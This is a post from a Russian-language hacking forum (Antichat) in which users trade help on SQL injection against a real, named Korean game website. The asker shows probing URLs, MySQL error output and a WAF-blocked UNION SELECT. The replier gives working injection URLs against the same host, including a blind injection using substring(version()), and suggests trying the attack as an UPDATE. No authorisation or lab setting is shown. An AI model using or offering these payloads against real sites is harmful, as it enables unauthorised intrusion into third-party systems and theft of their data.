Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от z-kzn-z

подскажите, пожалуйста.
на сервере IIS, и, как я понял, ODBC (вообщем, там MySQL).

myguild.asp?gid=2779-1 - не проходит
myguild.asp?gid=2779' - ошибка:

Код:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 3.51 Driver][mysqld-5.0.24a]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1

/myguild/myguild_common.asp, line 7

myguild.asp?gid=2779+order+by+1/* - проходит
myguild.asp?gid=2779+order+by+1-- - не проходит, т.е. -- фильтрует, а /* нет.

Но когда я делаю такое: myguild.asp?gid=2779+union+select+1/* , сервер выдает алерт:

Код:

Alert
Your request triggered an alert! If you feel that you have received this page in error, please contact the administrator of this web site.

что можно сделать?

Если ты хочешь скрыть линк, то скрывай как полагается. Лугл палит

Именно в этом запросе, что ты указал, крути как UPDATE;

http://hero2.eamobile.co.kr/myguild/myguild.asp?gid=474-1&lid=867&page=1

Сайт ватовый, нашел по быстрому блинд (с выводом нету время искать). Там действительно mysql. Но в теории под игру стоит ещё и mssql.

http://hero2.eamobile.co.kr/community.asp?cid=86488+and+substring(version(),1, 1)=5&page=1

зы. Jokester, теперь я опередил твою мысль. Правда я решил не цитировать Bb0y, вроде как парень старается (в плане на форуме), но видимо не понял что от него хотел ТС, а ты я вижу никого не пожалел. Ну и ладно...